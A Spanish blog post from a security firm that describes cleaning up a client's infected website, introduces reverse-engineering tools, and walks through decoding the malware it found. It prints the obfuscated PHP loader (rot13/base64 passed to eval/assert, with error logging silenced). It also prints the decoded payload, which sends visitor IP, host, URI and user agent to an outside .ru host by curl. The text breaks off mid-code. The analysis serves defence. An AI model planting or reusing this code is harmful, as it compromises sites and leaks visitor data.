Uno de los motivos por los que la ciberseguridad es importante y realizar auditorias de seguridad web, test de intrusión periódicos es para evitar esto que os explicaré a continuación.
Hoy en día las facilidades de un atacante para atacar y conseguir sus objetivos cada vez son más fáciles, como por ejemplo desde su casa tranquilamente y desde un servidor en un país con una legislación laxa en ciberseguridad y protección de datos.
Hace unos días un cliente nos solicitó para el servidor de su web que estaba infectado con un malware, para ellos es muy crítico, dado que todos sus “clientes eran captados a través de la web” y es su imagen de empresa.
La web no paraba de caerse y cuando estaba activa dependiendo de los procesos en ejecución salía una página que no era la que ellos habían definido, con lo cual sus daños reputacionales no paraban de crecer y sus solicitudes de contacto de posibles nuevos clientes no paraban de caer.
En cuanto nos dieron acceso al servidor empezamos el análisis de todos los ficheros, los logs del servidor y los procesos en ejecución, para hacer la contención y que la web no cajera más, después de esto empezamos con el análisis de la infección, para detectar como se generó, quien la generó y que es lo que hacía y ver si había más afectación…… Todo acabó felizmente bien 😉
Para ello aplicamos diversas técnicas en ciberseguridad que os explico a continuación.
El reversing es una técnica que se suele usar en el análisis de códigos maliciosos, búsqueda de vulnerabilidades en una aplicación, o incluso en el análisis de los funcionamientos de compiladores, el cual se utiliza para obtener la información o diseño de un programa (código fuente) con el fin de identificar como fue creado, cómo funciona, que hace, cuáles son sus componentes y cuál fue el proceso de creación. En este artículo, el equipo de BCNSoluciona introducirá este concepto y mostrará el análisis de código malicioso encontrado en uno de nuestros clientes.
Para realizar estos procesos se suelen utilizar desensambladores, depuradores o cualquier IDE que nos permita operar con el código.
A continuación, adjuntaremos algunas herramientas de ciberseguridad que podrían ser de vuestro interés para realizar actividades de reversing.
Desensambladores:
• Herramientas comerciales
• IDA PRO
• PE Explorer
• W32DASM
Herramientas gratuitas:
• IDA 3.7
• IDA Pro Freeware
• BORG Disassembler
• HT Editor
Depuradores:
• OllyDBG
• SoftICE
• Cheat Engine
• Ida PRO
• Trw2000
Los depuradores o debuggers son herramientas que permiten ejecutar el código de un programa, instrucción a instrucción, para comprobar su funcionamiento.
Los desensambladores es un programa que tiene la función de traducir el lenguaje de máquina a lenguaje ensamblador, la operación inversa que realizan los ensambladores.
También es posible usar el código en lenguaje ensamblador y transformarlo a un lenguaje de alto nivel; estas aplicaciones se denominan descompiladores. Este proceso es mucho más complejo, puesto que los distintos compiladores manejan estructuras de datos diferentes y modifican el código con el fin de optimizarlo, por lo tanto, se suele perder una parte de la información.
En los siguientes puntos analizaremos el código malware que encontramos en uno de nuestros clientes y el proceso de reversing.
Código malicioso
if(($_SERVER[‘REQUEST_URI’]==’/’)||($_SERVER[‘REQUEST_URI’]==’/index.php’)){
@ini_set(«error_log»,NULL);
@ini_set(«log_errors»,0);
@ini_set(«display_errors»,0);
error_reporting(0);
$wa=ASSERT_WARNING;
@assert_options($wa,0);
@assert_options(ASSERT_QUIET_EVAL,1);
$strings= «as»; $strings .= «se»; $strings .= «rt»; $strings2 = «st»; $strings2 .= «r_r»; $strings2 .= «ot13»; $gbz = «riny(«.$strings2(«base64_decode»);
$light = $strings2($gbz.'(«nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8iMUMypzyipUEioKE1qP5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqXF4vWzD9Vv51pzkyozAiMTHbWT5uoJHhWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYvE1p2IlLF4vWzx9ZFMbCFVhoJD1XPV5AwSwLmExBQyxZGZ3A2MvZwVlAGV0MwN4AwNmLmR3LGRkVvx7PzyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7L3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1EWGHICIIDfVQHcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsHxIHIIWBISWOGyATEIVfVSEFIHHcBjbxnJW2VQ0tL3IloS9yrTIwXPEwnPx7WTyhMz8tCFOwqKWfK2qyqTyhMz8bWTAbXGgcMvNbWTyhMz9oVzu0qUOsL29xMFWqVG0lZQNcrlEcLaL9VvV7sDcwqKWfK2Afo3AyXPEwnPx7Pa0tMJkmMJyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcVQ09VQRcVUfXWTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPE1pzjcBjc9PzyzXPSyoKO0rFtxK1OCH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1OCH1EoVaNvKFxcVQ09VPWzLmxjZwRjLJH1AQSwLGqxLmR5ZwLjL2IyZmV3AwVlZPVcVUftDTI2LJjbp3ElnKOmoTSmnTImXPEsHR9GISfvLlWqXFx7VU0XMJAbolNxnJW2Bjc9VU0=»));’); $strings($
Como podemos ver, este archivo php tenía una parte del código encriptada, nuestro equipo decidió hacer reversing del código encriptado para obtener el código fuente. Para un código como este se usó un debugger online, este mostraría por la pantalla las fases de ejecución de código.
Para ello se usó el siguiente debugger: http://sandbox.onlinephpfunctions.com/
En el debugger copiamos las líneas de código que se encargaban de desencriptar y ejecutar el código.
De esta forma, obtendríamos el código que intentaría ejecutar la aplicación.
Al ejecutar el código se obtiene una función eval son más comunes en lenguajes de programación interpretados como Python, esta función ejecuta el código que se encuentra en su interior.
También encontramos base64_decode() que tendría la función de desencriptar el código.
Para desencriptar el código se puede usar cualquier decrypter online como por ejemplo: https://www.base64decode.org/
El código final tenía una información que nos permitió saber a que afectaba el malware y el atacante, por lo cual pudimos tomar medidas y solventar los problemas.
if (!isset($ibv)) { @ini_set(«display_errors»,false);@error_reporting(0);
if(!empty($_COOKIE[«client_check»]) && empty($ibv)) { $ibv = $_COOKIE[«client_check»]; echo $ibv;} elseif (empty($ibv)) {
if (strstr($_SERVER[«HTTP_HOST»], «127.0»)){$name = $_SERVER[«SERVER_ADDR»];}else{$name = $_SERVER[«HTTP_HOST»];}
$usera = isset($_SERVER[«HTTP_USER_AGENT»])?urlencode($_SERVER[«HTTP_USER_AGENT»]):»»;
$url = «http://dverioptomtut.ru/get.php?ip=».urlencode($_SERVER[«REMOTE_ADDR»]).»&d=».urlencode($name.$_SERVER[«REQUEST_URI»]).»&u=».$usera.»&i=1&h=».md5(«961cc4d89d1377fb222524f08603c17a11»);
if(function_exists(«curl_init»)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);cur…….